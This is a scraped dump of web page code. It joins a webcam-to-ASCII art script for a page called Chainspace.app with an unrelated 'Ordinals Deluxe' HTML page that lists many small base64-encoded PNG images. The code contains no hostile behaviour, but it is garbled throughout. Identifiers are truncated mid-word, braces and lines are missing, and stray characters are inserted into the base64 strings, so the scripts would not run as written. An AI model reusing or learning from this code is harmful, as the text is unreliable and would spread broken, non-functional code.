    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#EB596E", "#FFE227", "#FFE227", "#4D375D", "#121013", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 6M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
const res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
            gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (ME
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
        <meta charset="utf-8">
        <title>Ordinals Deluxe</title>
            body{margin:0;}
            #c{display:flex;flex-direction:row;justify-content:center;}
            #n{position: fixed;left:3px;top:3px}
            #t{background-color: rgba(255, 255, 255, 0.6);margin:0px 2px 0px 2px}
            .btn{background-color:rgba(255, 255, 255, 0.6);border:'1px solid black';border-radius:'5px';color:black;padding:'10px 20px';font-size:"14px";cursor: pointerM
        <div id="n">
            <button class="btn" onclick="rb(-1)" >--</button><input type="text" id="t" placeholder="2824" oninput="rb(0,Number(document.getElementById('t').value))"/><button class="btn" onclick="rb(1)" >++</button>
        <div id="c"></div>
        <script type="text/javascript">
            var qs = window.location.search;
            var qr = new URLSearchParams(qs);
            var id = qr.get('id') !== null ? Number(qr.get('id')) : M
            var px = ["data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAABAElEQVR4nO1RMWrDQBCcGD/gfGW4vECqVPkBbtLkD2pcBoFS+BOCQ6kjg2qDS+UDBlWq5B8kagxWwIXLTZO7rA4Zu3B5Awd7ezs7s3uAh4eHh4fHCIRUJKSie3EmbiEAZG2EW0WEVJS10UWhKS/stcYsSWBE0hBXRUxzHqch6Of49WAFTPPuuUYPjVmYIGsjRmhgCNyxQRo2tjbIY2Ttv4hdUbEo8VjNUSzKP/eNJbvgObf5U7pDkMfDHX50L/aYe73a2lhIRedTRedTNcjx2PDr1XbQa+K6404+l+8Xd99rDXdVALB/XQ8T7q/zCbgTPgGVG/o+vBGVG/s+ZkJIRb9ptLDQyZyp8gAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAM
AABgAAAAYCAYAAADgdz34AAABHklEQVR4nO2QMUvDQBSAv4pIhgzhMjg0DSpuggm4CKWgdHAp9Ec45id18A+4CAHpoBmC0M0ouBVS1MGKhJQUKS7nIDmS2qAObvmWd7y79773DmpqampqalZgCEsawpL/UmMIS2apJ99fJr+WGMKSk4dIZqknV4nWiw+FrkE84nUjVbmfBFHos7XnNrLbg696ACyZJs8NgLVSc6DVnWI2B0ShrxoABHabwG6XclHoY36ckqWedPozJRW6poZTGxQviUe43Qui0Mft9FTMm+Y5szmgtTNF6MPKDRvF6QGS+QKha9zdn0A8gu1DFcdHbxw/3ijJ09UmTn+mapZJ5otqQX7OCew2u2fjktDZH36r+ZNgWbL8ldeX5wC4nV6l4BNMM4r3xb/ZTgAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA3UlEQVR4nM
O2SoQ7CMBCG/xEmcGwCtRcYSPY2A0lm+xRIcsgFCbzNJhkvMIWg+CUMdaQrB0NgSPqZpr27///bFHA4HA7HH+D9SmgcRq25v11rTzTgRm74VlwTAQCaogQATA573K61N5DENdFLom/EAcBP5p36UGoMlIImQqBUr4k5I+FJKWwCpZCtUuS7I6Q+DmSfvTyRNMjku6N4DkA0ZQZ2eumqmgjZKsV2s+4NYs6Mw6h9ewP+DbxO4xmq86lT59onhqaILa6JnkLV6I5pPENTlLgslvCTecfkndkDjJlxGVLnC1wAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA4klEQVR4nO2SPwqDMBTGP8UDiLODm6jQe2TJBZzFNafoWOwozl7AxQO00L1QpZuDW0G8gZ1S/POsDl0K+S0hee9935cQQKFQKBR/gPYrIdOyh/G+71qNNJCNsmGvOGcCANAM
0TwDAvS7Rd62mU+KciUWiPeIA4DjupG5QjUWZgDOBokw2TcYzFBqVYk5RJoijEGmWg+qTgeZniyeiBiVplpPnAEhTiT5PT12VM4E4CnE+HTeDjGdMyx5WbyB/g1x9L0BVPyZ1WfuGMRaZi3MmPkJV/YLvBbhdLzh4DI7jTkzWzN4+fG2gULN9bAAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAApElEQVR4nO2Suw6DMAxFTxAfEEVly0b+f2XuZ1SCrRtSVYmB0Z0suW76VMecJYF77etAoNFoNBqNCjFliSnLv2o6bwSYh5FPQ2LKMg/j06DeG8u6oCEF3oZoc7svINfLOQAEPwVAWRf8sxZ4b81va+4+kZ1ET6KrL37V3NLVprchqu3bJPs2idVUrw2h/7F/UJzpF83SAxxOx6Avvr2iiu1he90ArlRZiUmY+9MAAAAASUVORK5CYM
II=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAc0lEQVR4nGNgGAWjYBSMglEwCgYCCAjJ/BcQkvlPqh5cckzUcBA+eawW3BFVJqgRZvgdUWW8aliwCQrfOMDwnoGBQVBYFq8l798+hmqQxamGkRxXoQOV13cZPrx7gmEWAwMeH5AE8PgAqwVvNRxIswAPAAAZthqhgZr0/AAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAABG0lEQVR4nO1RPYuDQBB9HvkBYmEaLbxfEIiFfbo0QfBnXCPWVtZiY5NqCrETJMWW1xwErhDyD2KRNNkiHOQH7BXH5sxpPq644mAfLMzszJs3bxdQUFBQUPhv0A1L/BlfNyxx2kwFY0z8VkhyiajHfbrodDxwzlEWy4fd6IYlsjQBHA9hFN9uZIyJ0M
2YqZKwb1t1DRGcOEfVcaHJ4WSzBOUfgN6hqF2EUI0uTuw7CKMZuu0BVu737j+NeG/0kVLWLYJIj2C6ANoc9O9wUyNIEaHMA3wKmaZ5jrbu9VO7m0tFQTdbt59Wg2zCKvz65S7jqyG+wex1fDp/keFvPB3nSRe+JhgTt2QFlMQfnLgK/Adp3wPFQ1S8Ari8HAJ8S5Jjd7Q1G9wAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAd0lEQVR4nO2RORKAIAxFv44HYGnh/gfT1uUGsYJB5itp7PI6lkc+CWAYhmEYBBeSuJDkF8eFJAVtkd7pvam9eO5rPfAxq9K3Tutex1bffqTQ/oA5zF++kvmYX4uw5KokZT1KyBy2P48CsFlo5wMAwwKsFer2ALgBomO0ipcKVAgAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGM
goAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA30lEQVR4nGNgGAWjYBSMglEwChgYGGEMASGZ/8gSH949YcRUjh2g60XWzwhToFx2CEXB3S47oizBphdZP6OAkMz/2Bu7sGperOGG4hpsrsalF6afhYGBgaGdbTED4zw/hv9JmxgYGBjg7HpRZQYGBgYGFQaG/8iWCAjJ/L8DleNgW4yiB5m9mIGBgRHdi1ZJP1BcUW+bCbHk9V24GMzwxsPTUdQem8eBwr/bZYc9DnBZggyIMfzDuyeMKN7GFlkwy5AtgRmObii64QwMSMkUZsmTe7FYw5NYtozSYpREAQAoEHP4nlUBCgAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAxElEQVR4nO2QIQ+DMBCFXwkCgSDVDb8BTxB4fuokydwQDI/aDyBkYsmaCgSuE9stBxQyMdnPtLnrvfeM
ugMfj8Xg8DhKpbCKV/ddMsH4IAPfbFb+aJFLZvq13jUL+UMYR9DTj8TQLwyP6tkZWVAAAGUefqrJGj+K7AYkTWVGBUtHZpDmaNF/U3OLvO4UTLgM9zQsBLuSq8VmuYfQohEucvooLUvpy6DbiNOMyCTZVtiZ915qj5GvCoybfpBy6Te9yPu2GIF6qimTPoeUa0AAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAvUlEQVR4nGNgGAWjYBSMglEwCrAAASGZ/wJCMv9pokdASOb/iYr1/09UrCfaEnQ96PoYkRXuSJsMlzBvD2AQFJYlaAGyHhjwmJXL8OHdE0YGBgYGJmyGw8D7t48ZGBgYGCb2tcH56BiXpTCfMBF0IgMDQ35RFTHKsAImdNd7zMpFUfD+7WOGiX1tDOmp0TgNQdfDwIDwBU4fnKzcAGdfu36VQUtTG68aXABvEMEM0M
NLUZrh2/SrJhjMwMDAAALOkVgyRIFjOAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAr0lEQVR4nO2QsQrDIBRFj0lWMWQRQkbxezqXfrlkLIEspaVzSSfFvKRtho4eEFHvfd73oFAoFAqFHdpuWNpuWP7lUVJodM3j+QLgfruqPZP0AHzyKSkE8K4njNOh9N71ABt9/KTKkxtdb4z53eV8Srt3fTpHYg2j6xRY7aXPCeO0al++S63soorpo1mK8oL5OOKShWUXDZDSHWGe59XYZBgZsJEpf2Gt/fqe1wrjxBtbUU6kZcrjmgAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA3klEQVR4nO2SLw7CMBSHv5IJJCEpCtcZ2CW4BxbCTZAkSAKWA3CDHQHDMMXNLM
SFIXDE06cYbIDAk/UzT9+f3fq8pRCKRSOQPUL8S6vWHLrzfrqUCSNoKfcG34lYbAHLVBWAG7nYtVUcSt9q8OPpGHGDi7rV8IhWm1QWrDSl8HBL2SCjJRZO0urCYT9ls90h13lAz9vJEUqNns92L8XALiU7TvbSq1YbFfMp6tfxoJOzp9YeudQP/G/w5HmUU51Mt73PvSEKRprjVhvx5L84nxqOM/HBkN8iYuHttSNuwB+zpWQOOvqruAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAuElEQVR4nO2QMQ7DIAxFf6oODAyImUPkArlBjpsbpAfIlBNUHSoVZWBgo0PrCBxoO3T0W4yM/b9tQBAEQRAqGOuSsS79q+fECwHgtl7wq4mxLi3z1DQ654VWK/gQcX9sheEnlnlCP4wAAKvVO+vS5q/dvgGJE/0wgqaiaLXaBfK/o/jrTcMVJ8oM
LyYSiDxE+xCJXE+d0fHofIuhU+ZRUk5uQOPVwfIhtA3rzzVq5lsHhRDncuCb+jSebNGuAra6eHAAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAApklEQVR4nO2SMQ6DMAxFf1CmTlG6RVlzHY7Xg2ThMKwVI0JiYHSXWnLdAG3V0W9J4H/7OxDAMAzDMBqEmCnETP+q6bQRAKaxx6chIWaaxn43yGtjKhUckko9DeHmcp9KpWW+OwBweoqnAfqZC7S35Zc1L59ITsIn4VUXHzWXdK3pZQhr2zrQtg4kNdZbQ/B/9G+KMv2iSTwAXK43xy++vaKM7CF7PQAdkV8PkaB5mQAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAuklEQVR4nO2PPQoDIRCF3y45gFhM
M5c1C6tRibWUtW6eyCDmCN0q1RcgNJpVizK6bLVIE/EAYcN7PAJ1Op9P5N4RU/DO9kIpjjBxj5L1BQioWUnEIYV1bLu0JqTXNgHKpnFsvhJCbl3PyHZL57XrBPM85UBuLybvNC7SxAPCxq43F83EfDmvCybssbjF5ByJ6K0dEeR7q9tpY1NeUreo/IsLxdF68VhuLEcCi2TfmLdIV49JnbdIy3wp8Af2miswlFXkYAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAs0lEQVR4nO2QTQrCMBSEP0sOUOvSuhRpe4HcSnDpAVwKHkE9U1tKl9WlPzeIC2kJMWmzcJkPAgnMTN48CAQCgUDAQpykKk5S9S+PMIWb9RKApkW9n7eZT7juAdB9wiYEeD065ovVZBPdYxsusoXrnwCcjofhbR7Xp/3KoqkJAba7vY/MijCnb9o75qou5ytVXTpDTM
A98WzQtytlASjncq7okz4pRjYvRFfUBeVb8NPAJB/gAZnRQa85NUNgAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAcUlEQVR4nGNgGAWjYBSMglEwCgYCCAjJ/BcQkvlPqh5cckzUcBA+eawWKJcdIqgRZrhy2SG8ahixaXr/9jEDAwMDg6CwLF7NyOo+vHuCYRZOCwi5Ch3c7bLDaQEGEBCS+U8qwBecLNgETTrvk+QDfAAAYyFPFV8ZoZUAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAbklEQVR4nO2QMQqAMAxFv+IBalzrnXMHZ0+la603qIMUBGtKoOCSt+a/36SAYRiGYfyBI58c+aR1vmZ9i4WkefGByFwVc3lkFjNdUQobAGCcZlF+5s5jf3UBwM
FA0l/UuqGyXcyoc+aRF+k7xghZc5PBN42ob2FMAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAUklEQVR4nGNgGAWjYBSMglEwCgYCfD5v/J+a+pgwRBQtyDGfNH2k+OLzh+z/JPv684dsojSQG5xEaybWIXgN+Hze+D82gyhyPVbLoBbhshAXAAD8HzVYTT1nhwAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAm0lEQVR4nGNgGAWjYBSMglEwCrAAASGZ/wJCMv9pokdASOZ/46HH/xsPPSbaEnQ96PoYkRUWbjiOork/wJKgBeh6YPo+vHvCCLcAm+HIiif2tTHkF1VhNQwXgFnCRIzi/KIqog1GB4zoru8PsMRwqcK9/QzXrl9l4PLOwelaXEFFlA+uXM
b/KoKWpTYrD4YAoC7Q0tRmuXb9KlgUAa89FW3kyf5YAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAqElEQVR4nO2QrRICMQyEtzc1dXc9e2dxCJ6BPnbfAYHDcpZyDllUmEwu5WcGmU+16e4mKWAYhmEYCn2cah+n+i+P4yI6329XDOOMtSxOM8lw0nPI60kUSno9DuNMTT5uQuHcDwCIua5lcV6Gyybf1DRCSUDMtQOAR8zNyXhQKGlTkw0JynTaH3IT1fmWZNZ0ckDfCqW7bH45nTEf23pJp1bfsDvsf9I/AdXzW617fPDMAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAZklEQVR4nGNgGAWjYBSMglEwCnAAASGZ/9RSz4RN8bNrR4i2hJA6Fko0MzAwMM
Dy7doRBSsuGPAs+vHvCSKkDcFoAdRleA55dO0LIfPw+IMYAiiy4+fw9Xs3qkoIELcBIRcQaTqwaAPFrImQd/9fnAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAABBklEQVR4nO2SsWqDUBSGv4Q+wEVEh6tDQumWPXvIHHyKDL5AHiEv4NCHCNK5uLt3K2KGG0kiofQJYgfxGmPRFroU/JaD53DO/59zhYGBgYGB/4YwnEIYTvGXveP7hOl7/FZEGE5h+t63tZbAbdNPh3d9P9wXktMRQbkJQdgrYvoelyDUfSqycRcUnx+Hkd6gWlFFNmIXtwZ0xeR0LA3uYlS6Qm6txpkbJ5JbC5WuGo19seK6nMG+aQ5gVLnP3xOdzDY57uLcdx2NimyYzJHrVOesp0cuQVi/QcX49Q3JjCydl44mdbwdoM08T3GnL1yX7RrQFqgoh1lAHbNN3hBkHyPM
XHb8i8AVY2Gp0otmsvAAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAABBElEQVR4nO2RIW/CUBSFP5bJirYG0wrmJpYJDPYFgdt+yAy2v2D2/QY0BhyC1OJI05A5EJ2ZWUnA34muj9K3rSyZWdJjbt4979zzzn3QokWLFi3+G1w/ENcP5C+1V/VGHi/4rYnrB5LHiy85y6AqunT4T+dri0hegCKJp0aNJp/3jC5bdgmHyP79tXPmKslGDuu+lLuUZHNZnUyN5rB/EplMDQe1FTlpRLZ9pJqksZZJtIbdykrYMR9UERzvngmHb03bMciWXegNcObq1Ly/xVOj0x+U8MZjcq3JtjHsVjhpdMYfH4o+vYGp4c2MXKv6KADboETxGmUNdOYRoCClUmffpvsAKomNK2YmJeYAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0M
KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAvElEQVR4nGNgGAWjYBSMglEwCrAAASGZ/wJCMv+ppYcFXaGtsjgDAwMDw2EGhv8f3j1hJMZwZD0MDAwMyPoYsSmEgcN3XxJ0PboemD6YJYy4DEdWPLGvjSG/qAqrYbgAzBImYhTnF1URbTA6YEF3/eG7L1FceuNAGsPOcwoM165fZSiM5oaLpyZvxKmHgQESdIcZGP7j9cHsuf4MDAwMDNeuX2XQ0tTGKkcI4LQA2QAtTW2Ga9ev4lWDCwAASWxIUscyUVUAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA5UlEQVR4nGNgGAWjYBSMglEwBAAjtQwSEJL5j8z/8O4JIwMDAwMLLoUwBcQa7rXYjIGBgYHhzIVfEMFehv8f3j1hZMJmuNdiMwwXEWM4AwMDg4kBG4o8CzaF22JPMM
XgtNmPYFstA0BJkPdgAIzZXoINtsacY0lOjGWbOXsqATR3MQehiGEGETSMMzJy9FKs4si+wASZ012PzqtdiM4b01GiGiX1tBB2CrEdASOY/Th/AUgOM1tLUZrh2/SqKPDzF4AEsyIagG+612AxukOynqwxamtoM6y9cZRArNmAwMWBDsQSXZQAEnmvCv5DhMQAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAkklEQVR4nGNgGAWjYBSMglEwCrAAASGZ/wJCMv+ppYcRXaFy2SEGBgYGhrtddigKP7x7gqIWlx50dSzoGlgvXmW4sTOTQcN9OsNvfW24RlwuhBnOevEqNmlUCz68e8J4Y2cmXoOwAZijsPkSwwcf3j1hxOZaXC5kYGDAaThWC/AZggvgMpwkC/AZgg8wkaOJFAAArnY+W3/V5CgAAAAASUVORK5CYII=", "data:imM
age/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAABP0lEQVR4nMWVMU7EMBBFv6OlgDSWSbOSCy6wnCGX4Cb0aHtuwBG4RO5ARUcRRBOiNECBkClgjDM7thOysF+K5MSZ/+KxZ6LwLW2sg6Chb5X0fKoUmV+cnQAAbh9e0TWlf6GqXxaBCunh++mlH3dNia4poY11dM0B+K+iwKe7Kz959HwtBtGqgPzKdia1sY4gMQCHpSA7KRr6Vq03WwDjVMVE6ZsM4FoKWWWjMc45Nw7HVW0dT1cSQKmK5biqrQshksRAWu6Us6/NGMI3fVGVxiCr83vvm93kKRr6VoX7FG74XgAp/QkgPLb/v4K5zYxiYsdVbBVzIClzQCi0t8cbBwDrzTZbCzlzgNUBmYeiapbEzXlLGfpWeYBkzpVq37yCtfnqSwXd7NMc+EltEf5gfmMemkk6fCVLX//hjicDPgEHQJ3+WFM6ZQAAAABJRU5ErkJggg=="M
, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAoUlEQVR4nO2PsQ3DMAwE34YHIFy70xIGMkXgUjt4GO3gUntoiXSuDRXplYqGolCGgqTkAWqoJ/8fUBRFURQBGqdE45T+tdOXQgBw1qDVhHVxmUWjIRfGZQb58LF8hbMG6/YAmwAA+ZDisXdnAz5ewrN47B2/fO6sEU25zWlQS0Y+vInzlrXjJX0tvWTyzXHeERvcb8+mdC3aofbBi+v2W4AXfhtPOLTiycUAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAcUlEQVR4nGNgGAWjYBSMglEwCgYCCAjJ/BcQkvlPqh5cckzUcBA+eawWeC02I6gRZrjXYjO8ahixaXr/9jEDAwMDg6CwLF7NyOo+vHuCYRZOCwi5Ch1siz2F0wIMICAk8M
59UgC84WbAJRm8LJskH+AAAiVNObVw3Gt0AAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAz0lEQVR4nGNgGAWjYBSMglEwCrAAASGZ/wJCMv+ppYcRXaFy2SEGBgYGhrtddgwf3j1hxKYJnx4GBgYUfYzoClkvXmVgYGBguLEzkyjXa7hPh7N/62tjOI4Rm+EwC9Q238Bp8C1fDRTDkcFvfW24JSwwQWTDYS674avB8P7tYwwDBIVlcRqObhaTgJDMf2TF6EFjfuwrg6CwLBybH/uKYSC24NRwn84gICTznwVDBg3c8tVguHFFA6FRRwOPakyA1QJkFyEbDuNr6NwgOhEAAHfhUz1mP8myAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAh0lEQVR4nGNgGAWjYM
BSMglEwCrAAASGZ/wJCMv+ppYcFXeEdUWUGBgYGBhUGhv8f3j1hJMZwZD0MDAwMyPoYsSmEAZXXdwm6Hl0PTB/MEhZchjMwMDA8u3YEr+Hf7ONxWgoLASZcmrkOLsRrOLFqGNFdr/L6LkGXowMpLRucQYXTB9QCNLcAACY8M+e9u47bAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAZklEQVR4nGNgGAWjYBSMglEwCgYCCAjJ/I+L7vlPqh5ccky4JHJfXSPKEkKOwWkBIc1x0T3/iXEECz5J/n4vhjgGBqyG8Pd7ETKbsAWkGESWBR8Lt2FYBhMj1mK8cQAzCNkwUn0EAN4LHsJt8fQ0AAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAqUlEQVR4nGNgGAWjYM
BSMglEwCIGAkMx/ASGZ/zA+E7UNZ2BgYLgjqgxnY7UA2QWkGjxHTJtB5fVd/IrfqNv/J9YSbOqR2Yy4NL3fv5NB0NGdoAV3RJUZVF7fZfjw7glWs3DGwduwLIY5YtoM7/fvhHsdG/sAIwdBR2AFAkIy//9fvPr/jbr9/zUa7jjZpMYXhiU0MxzZEnSL0NM6PoA1YnBZBGPjilBsAACV1nEV6yHpdwAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAlElEQVR4nO2PMQ6DQAwE1xEFJUIiFV3o+ASP4Vl5DJ+gg+4qIp2upDsKhBQc+yRQSk9r73gNGIZhGIZAUdaxKOv4r0zGF6fqBQBogFMgeEea/DvD9zIeGChHv4x4P1t0cd2Dnxlaw0M+UC6NzweCd9Sz5lwkcZSSvvz5IHhHUlutIQBVLh5ISTQ0+aUDKUmKx53QFTa0bDjE6WJM
sHAAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAY0lEQVR4nGNgGAWjYBSMglEwCgYCCAjJ/P////9/UvXgkmPCJfFG3Z4oSwg5BqcFhDT/////PzGOYMEn+VbDAaclbzUcCJlN2AJSDCLLAuEbBzAsg4kRazHeOIAZhGwYqT4CAN1wKRl48ZNvAAAAAElFTkSuQmCC", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAABOklEQVR4nO2SIW/CQBiGnxLEDMnlBOp0FQKFwCxZzSBTU8sSfkElYlkygZnELPwDQkBiRlAksxPLxAy+aiMNySYmSL6J7ZprYZCJTvU17X3X97nve69QqFChQoc1Hc9l0GrKdDyXPPilPKBbGrSauXQPzgT/ElEek5RCPxCAm6trAEI/EKXNnw5S2vzq8UIM
/kIfPGIDo4432sAHArPPIOo68Q2Ag5QFSvjLA8ZFmtFqmzO1hg1mHvZNYsIVXu/XvRR+xh3ihH8hotaTarTOpbDjpvaSMLmBXfQv+o9f+M+s48lKXfPFeZtGrJaNm4dn6Pngim6PSRvzbM1HayNPdqSht5PL+XNy6fdr6rj33spU24iltkrzsphvXoldLpnM7dLu2HWd/CqWNpCJyP7BxWU0qm+Q9G8kuuNUXV2+dzQcE3ykAAAAASUVORK5CYII=", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAgklEQVR4nGNgGAWjYBSMglEwCrAAASGZ/wJCMv+ppYcRXaGG+3QGBgYGhhs7Mxk+vHvCiE0TPj0MDAwo+hixKYQBmAZ8AF0PuuMYcRnOwMDAsK9fF6/hToWXccrBLGHCpYCQ4cSqYUR3/Y2dmQzPrh0hqBEZSGnZ4AwqnD6gFqC5BQCxUTQwCv7JOwAAAM
ABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA6ElEQVR4nO2QoQ7CMBRFDwsfMJYFscwv2S8wg8Vh2R/xH2BxWAwWgSGZmyAEQQCFAoqA15RSAgJD0pM0bV7eve/2gcfj8Xj+kTBK1S/9gl8MCaNUfaUJo1SdtrU6bevvBA6NrWu6Uid5wWY1J8mLj0MefWxWcwDKOGME6rhfN+CxojBKVRlnlHFGkhdPYvuWY9YlVBlneogE1j8QpElSmSZ2XcKIxkVD0gN0g/u82fUMwGhX6cbDFFo9dxhTa+sDV4O8h52BNr+0+xym6LoZytTaXi8rMllWC4adAa3eGJho82W1eDF6xw0iXG0pwFdcPgAAAABJRU5ErkJggg==", "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAA90lEQVR4nO2RrW7DMM
